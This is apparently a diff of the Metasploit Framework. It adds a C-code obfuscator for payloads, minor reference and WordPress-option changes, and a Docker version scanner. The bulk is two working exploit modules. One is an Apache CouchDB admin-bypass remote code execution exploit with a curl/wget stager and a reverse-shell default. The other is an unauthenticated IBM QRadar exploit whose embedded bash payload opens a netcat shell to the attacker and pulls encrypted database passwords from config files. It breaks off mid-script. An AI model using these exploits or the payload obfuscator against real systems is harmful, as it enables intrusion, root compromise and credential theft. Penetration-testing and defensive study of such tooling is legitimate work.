char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
OutputDebugString(#{var_name});
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,29 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Printf < Base
def initialize
super
@dep = ['printf']
end
def stub
%Q|
int printf(const char*);
void stub() {
printf("#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}");
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,24 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class StringAssignments < Base
def stub
var_name = "fake_string_#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
const char* #{var_name} = "#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}";
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,54 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class Switch < Base
def stub
[
Proc.new { switch_1 },
Proc.new { switch_2 }
].sample.call
end
private
def switch_1
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
switch (#{var_name}) {
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
default:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
}
}|
end
def switch_2
var_name = "rndnum#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}"
%Q|
void stub() {
int #{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
switch (#{var_name}) {
case #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}:
#{var_name} = #{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
break;
}
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,47 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/code_factory/base'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
module CodeFactory
class UninitVariables < Base
def stub
[
Proc.new { char },
Proc.new { int },
Proc.new { string }
].sample.call
end
private
def char
%Q|
void stub() {
char uninitcharvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
def int
%Q|
void stub() {
int uninitintvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
def string
%Q|
void stub() {
const char* uninitstringvar#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int};
}|
end
end
end
end
end
end
end

View File

@ -0,0 +1,182 @@
require 'metasploit/framework/obfuscation/crandomizer/random_statements'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Modifier
attr_reader :parser
attr_reader :fake_functions
attr_reader :weight
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Modifier instance.
#
# @param p [Metasploit::C::Parser]
# @param f [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
# @param w [Integer] Weight of the randomness.
def initialize(p, f, w)
@parser = p
@fake_functions = f
@weight = w
end
# Modifies different if-else blocks recursively.
#
# @param s [Metasm::C::Declaration]
# @return [Metasm::C::Declaration]
def modify_if_else_blocks(s)
modify_if(s)
modify_else_if(s)
modify_else(s)
s
end
# Modifies an if block.
#
# @param s [Metasm::C::Declaration]
# return [void]
def modify_if(s)
new_if_statements = []
s.bthen.statements.each do |stmt|
modify_nested_blocks(stmt)
new_if_statements.concat(get_fake_statement)
new_if_statements << stmt
end
s.bthen.statements = new_if_statements
end
# Modifies an else-if block.
#
# @param s [Metasm::C::Declaration]
# @param [void]
def modify_else_if(s)
# There could be multiple else if blocks,
# this gives the current else if block
elseif_block = s.belse
while (elseif_block && elseif_block.respond_to?(:bthen)) do
new_else_if_statements = []
elseif_block.bthen.statements.each do |stmt|
modify_nested_blocks(stmt)
new_else_if_statements.concat(get_fake_statement)
new_else_if_statements << stmt
end
elseif_block.bthen.statements = new_else_if_statements
# Move on to the next else if block
elseif_block = elseif_block.belse
end
end
# Modifies an else block.
#
# @param s [Metasm::C::Declaration]
def modify_else(s)
else_block = s.belse
# The else block is retrieved this way when there is an else if block
else_block = s.belse.belse if s.belse.respond_to?(:belse)
# There is really no else block, let's bail.
# return unless else_block
return unless else_block.respond_to?(:statements)
new_else_statements = []
else_block.statements.each do |stmt|
modify_nested_blocks(stmt)
new_else_statements.concat(get_fake_statement)
new_else_statements << stmt
end
else_block.statements = new_else_statements
end
# Modifies a for block.
#
# @param s [Metasm::C::Declaration]
def modify_for(s)
new_for_statements = []
s.body.statements.each do |stmt|
modify_nested_blocks(stmt)
new_for_statements.concat(get_fake_statement)
new_for_statements << stmt
end
s.body.statements = new_for_statements
s
end
# Modifies a nested block.
#
# @param s [Metasm::C::Declaration]
def modify_nested_blocks(s)
case s
when Metasm::C::If
modify_if_else_blocks(s)
when Metasm::C::For
modify_for(s)
end
end
# Modifies a function.
#
# @param s [Metasploit::C::Declaration]
def modify_function(s)
function_statements = s.var.initializer.statements
new_function_statements = []
function_statements.each do |func_stmt|
unless feeling_lucky?
new_function_statements << func_stmt
next
end
case func_stmt
when Metasm::C::If
new_function_statements << modify_if_else_blocks(func_stmt)
when Metasm::C::For
new_function_statements << modify_for(func_stmt)
else
new_function_statements.concat(get_fake_statement(s))
new_function_statements << func_stmt
end
end
unless new_function_statements.empty?
s.var.initializer.statements = new_function_statements
end
end
private
# Returns fake statements.
#
# @param s [Metasploit::C::Declaration]
# @return [Array<Metasm::C::CExpression>]
def get_fake_statement(s=nil)
random_statements = Metasploit::Framework::Obfuscation::CRandomizer::RandomStatements.new(parser, fake_functions, s)
random_statements.get
end
# Returns a boolean indicating whether a random is above (or equal to) a number or not.
#
# @return [Boolean]
def feeling_lucky?
n = (rand * 100).to_i
weight >= n
end
end
end
end
end
end

View File

@ -0,0 +1,46 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
require 'metasploit/framework/obfuscation/crandomizer/modifier'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Parser
attr_accessor :max_random_weight
attr_accessor :fake_functions_collection
# Initializes a Metasploit::Framework::Obfuscation::CRandomizer::Parser instance.
#
# @param weight [Integer] Randomness of the code.
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
def initialize(weight, fake_functions=nil)
@max_random_weight = weight
@fake_functions_collection = fake_functions
end
# Returns a parser.
#
# @param template [String] Soure code to parse.
# @return [Metasm::C::Parser]
def parse(template)
main_parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
modifier = Metasploit::Framework::Obfuscation::CRandomizer::Modifier.new(main_parser, fake_functions_collection, max_random_weight)
main_parser.toplevel.statements.each do |s|
case s.var.type
when Metasm::C::Function
# Some function objects such as declarations don't really have
# any statements, if we run into something like that, skip it.
next unless s.var.initializer.respond_to?(:statements)
modifier.modify_function(s)
end
end
main_parser
end
end
end
end
end
end

View File

@ -0,0 +1,132 @@
require 'metasploit/framework/obfuscation/crandomizer/utility'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class RandomStatements
attr_reader :parser
attr_reader :fake_function_collection
attr_reader :statements
# Initializes the RandomStatements class.
#
# @param fake_functions [Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory::FakeFunctionCollection]
# @param s [Metasm::C::Declaration]
def initialize(p, fake_functions, s=nil)
@parser = p
@fake_function_collection = fake_functions
@statements = [ Proc.new { get_random_statements } ]
# Only generate fake function calls when the function we are modifying isn't
# from one of those fake functions (to avoid a recursion).
if s && fake_function_collection && !fake_function_collection.has_function_name?(s.var.name)
@statements << Proc.new { get_random_function_call }
end
end
# Returns a random statement.
#
# @return [Array<Metasm::C::CExpression>]
# @return [Array<Metasm::C::Declaration>]
def get
statements.sample.call
end
private
# Returns function arguments as a string.
#
# @param args [Array<Metasm::C::Variable>]
# @return [String]
def make_func_arg_str(args)
arg_array = []
args.each do |arg|
case arg.name
when 'i'
arg_array << %Q|#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_int}|
when 's'
arg_array << %Q|"#{Metasploit::Framework::Obfuscation::CRandomizer::Utility.rand_string}"|
else
raise "Unknown argument type to process"
end
end
%Q|(#{arg_array.join(', ')})|
end
# Returns the arguments (in string) for function declaration.
#
# @param args [Array<Metasm::C::Variable]
# @return [String]
def make_func_declare_arg_str(args)
arg_array = []
args.each do |a|
case a.name
when 'i'
arg_array << 'int'
when 's'
arg_array << 'char*'
else
raise "Unknown argument type to process"
end
end
%Q|(#{arg_array.join(', ')})|
end
# Returns a random statement from the Code Factory, excluding:
# * The base class
# * FakeFunction class
# * FakeFunctionCollection class
#
# @return [Array]
def get_random_statements
ignored_classes = [:Base, :FakeFunction, :FakeFunctionCollection]
class_name = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.constants.select { |c|
next if ignored_classes.include?(c)
Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(c).instance_of?(Class)
}.sample
instance = Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new
if instance.good_dep?(parser)
return Metasploit::Framework::Obfuscation::CRandomizer::CodeFactory.const_get(class_name).new.code
else
# Call again
get_random_statements
end
end
# This function is kind of dangerous, because it could cause an
# infinitely loop by accident when random functions call each other.
#
# @return [Array]
def get_random_function_call
# There is no fake function collection
return [] if fake_function_collection.empty?
fake_function = fake_function_collection.sample
fake_function_name = fake_function.var.name
fake_function_args = fake_function.var.type.args
fake_function_declare_args_str = make_func_declare_arg_str(fake_function_args)
arg_str = make_func_arg_str(fake_function_args)
template = %Q|
void #{fake_function_name}#{fake_function_declare_args_str};
void stub() {
#{fake_function_name}#{arg_str};
}|
parser = Metasploit::Framework::Obfuscation::CRandomizer::Utility.parse(template)
parser.toplevel.statements.last.var.initializer.statements
end
end
end
end
end
end

View File

@ -0,0 +1,40 @@
require 'metasm'
require 'securerandom'
module Metasploit
module Framework
module Obfuscation
module CRandomizer
class Utility
# Returns a random number.
#
# @return [Integer]
def self.rand_int
SecureRandom.random_number(100)
end
# Returns a random string.
#
# @return [String]
def self.rand_string
SecureRandom.hex
end
# Returns a Metasm parser.
#
# @param code [String] The C code to parse.
# @return [Metasm::C::Parser]
def self.parse(code)
parser = Metasm::C::Parser.new
parser.allow_bad_c = true
parser.parse(code)
parser
end
end
end
end
end
end

View File

@ -499,12 +499,32 @@ class ReadableText
if (mod.respond_to?(:references) && mod.references && mod.references.length > 0)
output << "References:\n"
mod.references.each do |ref|
if ENV['FUEL_THE_HYPE_MACHINE'] && %w{LOGO SOUNDTRACK}.include?(ref.ctx_id)
Rex::Compat.open_browser(ref.ctx_val)
end
output << indent + ref.to_s + "\n"
end
cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) }
if cve_collection.empty?
output << "#{indent}CVE: Not available\n"
end
mod.references.each { |ref|
case ref.ctx_id
when 'CVE', 'cve'
if !cve_collection.empty? && ref.ctx_val.blank?
output << "#{indent}CVE: Not available\n"
else
output << indent + ref.to_s + "\n"
end
else
output << indent + ref.to_s + "\n"
end
}
output << "\n"
end

View File

@ -38,7 +38,8 @@ module Msf
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content']),
Msf::OptBool.new('WPCHECK', [true, 'Check if the website is a valid WordPress install', true]),
], Msf::Exploit::Remote::HTTP::Wordpress
)
end

View File

@ -5,6 +5,11 @@ module Msf::Exploit::Remote::HTTP::Wordpress::Base
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
unless datastore['WPCHECK']
vprint_status 'Skipping WordPress check...'
return true
end
wordpress_detect_regexes = [
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,

View File

@ -65,6 +65,9 @@ module Msf
AUXILIARY_SCANNER_DEMO_TEMPLATE = 'auxiliary_scanner_template.erb'
PAYLOAD_DEMO_TEMPLATE = 'payload_demo_template.erb'
# Special messages
NO_CVE_MESSAGE = %Q|CVE: [Not available](https://github.com/rapid7/metasploit-framework/wiki/Why-is-a-CVE-Not-Available%3F)|
# Returns the module document in HTML form.
#
@ -205,6 +208,11 @@ module Msf
# @return [String]
def normalize_references(refs)
normalized = ''
cve_collection = refs.select { |r| r.ctx_id.match(/^cve$/i) }
if cve_collection.empty?
normalized << "* #{NO_CVE_MESSAGE}\n"
end
refs.each do |ref|
case ref.ctx_id
when 'AKA'
@ -215,6 +223,10 @@ module Msf
normalized << "* [#{ref.site}](#{ref.site})"
when 'US-CERT-VU'
normalized << "* [VU##{ref.ctx_val}](#{ref.site})"
when 'CVE', 'cve'
if !cve_collection.empty? && ref.ctx_val.blank?
normalized << "* #{NO_CVE_MESSAGE}"
end
else
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
end

View File

@ -0,0 +1,57 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'Docker Server Version Scanner',
'Description' => %q{
This module attempts to identify the version of a Docker Server running on a
host. If you wish to see all the information available, set VERBOSE to true.
},
'Author' => [ 'Agora-Security' ],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(2375)
])
end
def run_host(ip)
res = send_request_cgi({
'uri' => '/version',
'method' => 'GET'})
if res.nil? || res.code != 200
print_error("[Docker Version] failed to identify version")
return
end
result = res.get_json_document
print_status("Identifying Docker Server Version on #{peer}")
print_good("[Docker Server] Version: #{result['Version']}")
print_status ("All info: #{result.to_s}") if datastore['VERBOSE']
report_note(
:host => ip,
:port => rport,
:proto => 'tcp',
:ntype => 'docker_version',
:data => result['Version'],
:info => "Docker Server v.#{result['Version']}"
)
print_status("Saving host information.")
report_host(
:host => ip,
:arch => result['Arch'],
:detected_arch => result['Arch'],
:os_family => result['Os'],
:info => "Docker Server v.#{result['Version']} Kernel Version: #{result['KernelVersion']}"
)
end
end

View File

@ -0,0 +1,317 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options([
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def check
get_version
version = Gem::Version.new(@version)
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
CheckCode::Safe
end
def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')
register_file_for_cleanup(cmdstager_path)
if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
end
attempts.times do |i|
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if session_created?
end
end
# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
return true
else
return false
end
end
def get_version
@version = nil
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end
unless res
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
return false
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
if res && res.code == 200
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
vprint_warning("#{peer} - Version not found")
return true
end
def send_payload(version)
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
elsif target == targets[2]
payload2
end
elsif version < Gem::Version.new('1.7.0')
payload1
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd1}","map":""})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)
node = res.get_json_document['all_nodes'][0]
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
end

View File

@ -0,0 +1,228 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'IBM QRadar SIEM Unauthenticated Remote Code Execution',
'Description' => %q{
IBM QRadar SIEM has three vulnerabilities in the Forensics web application
that when chained together allow an attacker to achieve unauthenticated remote code execution.
The first stage bypasses authentication by fixating session cookies.
The second stage uses those authenticated sessions cookies to write a file to disk and execute
that file as the "nobody" user.
The third and final stage occurs when the file executed as "nobody" writes an entry into the
database that causes QRadar to execute a shell script controlled by the attacker as root within
the next minute.
Details about these vulnerabilities can be found in the advisories listed in References.
The Forensics web application is disabled in QRadar Community Edition, but the code still works,
so these vulnerabilities can be exploited in all flavours of QRadar.
This module was tested with IBM QRadar CE 7.3.0 and 7.3.1. IBM has confirmed versions up to 7.2.8
patch 12 and 7.3.1 patch 3 are vulnerable.
Due to payload constraints, this module only runs a generic/shell_reverse_tcp payload.
},
'Author' =>
[
'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'References' =>
[
['CVE', '2016-9722'],
['CVE', '2018-1418'],
['CVE', '2018-1612'],
['URL', 'https://blogs.securiteam.com/index.php/archives/3689'],
['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/ibm-qradar-siem-forensics.txt'],
['URL', 'http://seclists.org/fulldisclosure/2018/May/54'],
['URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg22015797']
],
'Targets' =>
[
[ 'IBM QRadar SIEM <= 7.3.1 Patch 2 / 7.2.8 Patch 11', {} ],
],
'Payload' => {
'Compat' => {
'ConnectionType' => 'reverse',
}
},
'DefaultOptions' => {
'SSL' => true,
# we can only run shell scripts, so set a reverse netcat payload by default
# the payload that will be run is in the first few lines of @payload
'PAYLOAD' => 'generic/shell_reverse_tcp',
},
'DisclosureDate' => 'May 28 2018',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptString.new('SRVHOST', [true, 'HTTP server address', '0.0.0.0']),
OptString.new('SRVPORT', [true, 'HTTP server port', '4448']),
])
end
def check
res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'GET'
})
if res.nil?
vprint_error 'Connection failed'
return CheckCode::Unknown
end
if res.code == 403
return CheckCode::Detected
end
CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
end
# Handle incoming requests from QRadar
def on_request_uri(cli, request)
print_good("#{peer} - Sending privilege escalation payload to QRadar...")
print_good("#{peer} - Sit back and relax, Shelly will come visit soon!")
send_response(cli, @payload)
end
# step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
def set_cookies
@sec_cookie = SecureRandom.uuid
@csrf_cookie = SecureRandom.uuid
post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," +
"#{@sec_cookie},#{@csrf_cookie}"
res = send_request_cgi({
'uri' => '/ForensicsAnalysisServlet/',
'method' => 'POST',
'ctype' => 'application/json',
'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};",
'vars_get' =>
{
'action' => 'setSecurityTokens',
'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}"
},
'data' => post_data
})
if res.nil? or res.code != 200
fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies")
end
end
def exploit
print_status("#{peer} - Attempting to exploit #{target.name}")
# run step 1
set_cookies
# let's prepare step 2 (payload) and 3 (payload exec as root)
@payload_name = rand_text_alpha_lower(3..5)
root_payload = rand_text_alpha_lower(3..5)
if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
srv_host = Rex::Socket.source_address(rhost)
else
srv_host = datastore['SRVHOST']
end
http_service = (datastore['SSL'] ? 'https://' : 'http://') + srv_host + ':' + datastore['SRVPORT'].to_s
service_uri = http_service + '/' + @payload_name
print_status("#{peer} - Starting up our web service on #{http_service} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req|
on_request_uri(cli, req)
},
'Path' => "/#{@payload_name}"
}})
@payload = %{#!/bin/bash
# our payload that's going to be downloaded from our web server
cat <<EOF > /store/configservices/staging/updates/#{root_payload}
#!/bin/bash
/usr/bin/nc -e /bin/sh #{datastore['LHOST']} #{datastore['LPORT']} &
EOF
### below is adapted from /opt/qradar/support/changePasswd.sh
[ -z $NVA_CONF ] && NVA_CONF="/opt/qradar/conf/nva.conf"
NVACONF=`grep "^NVACONF=" $NVA_CONF 2> /dev/null | cut -d= -f2`
FRAMEWORKS_PROPERTIES_FILE="frameworks.properties"
FORENSICS_USER_FILE="config_user.xml"
FORENSICS_USER_FILE_CONFIG="$NVACONF/$FORENSICS_USER_FILE"
# get the encrypted db password from the config
PASSWORDENCRYPTED=`cat $FORENSICS_USER_FILE_CONFIG | grep WEBUSER_DB_PASSWORD | grep -o -P '(?<=>)([\\w\\=\\+\\/]*)(?=<)'`
QVERSION=$(/opt/qradar/bin/myver | awk -F. '{print $1$2$3}')
AU_CRYPT=/opt/qradar/lib/Q1/auCrypto.pm
P_ENC=$(grep I_P_ENC ${AU_CRYPT} | cut -d= -f2-)
P_DEC=$(grep I_P_DEC ${AU_CRYPT} | cut -d= -f2-)
AESKEY=`grep 'aes.key=' $NVACONF/$FRAMEWORKS_PROPERTIES_FILE | cut -c9-`
#if 7.2.8 or greater, use new method for hashing and salting passwords
if [[ $QVERSION -gt 727 || -z "$AESKEY" ]]
then
PASSWORD=$(perl <(echo ${P_DEC} | base64 -d) <(echo ${PASSWORDENCRYPTED}))
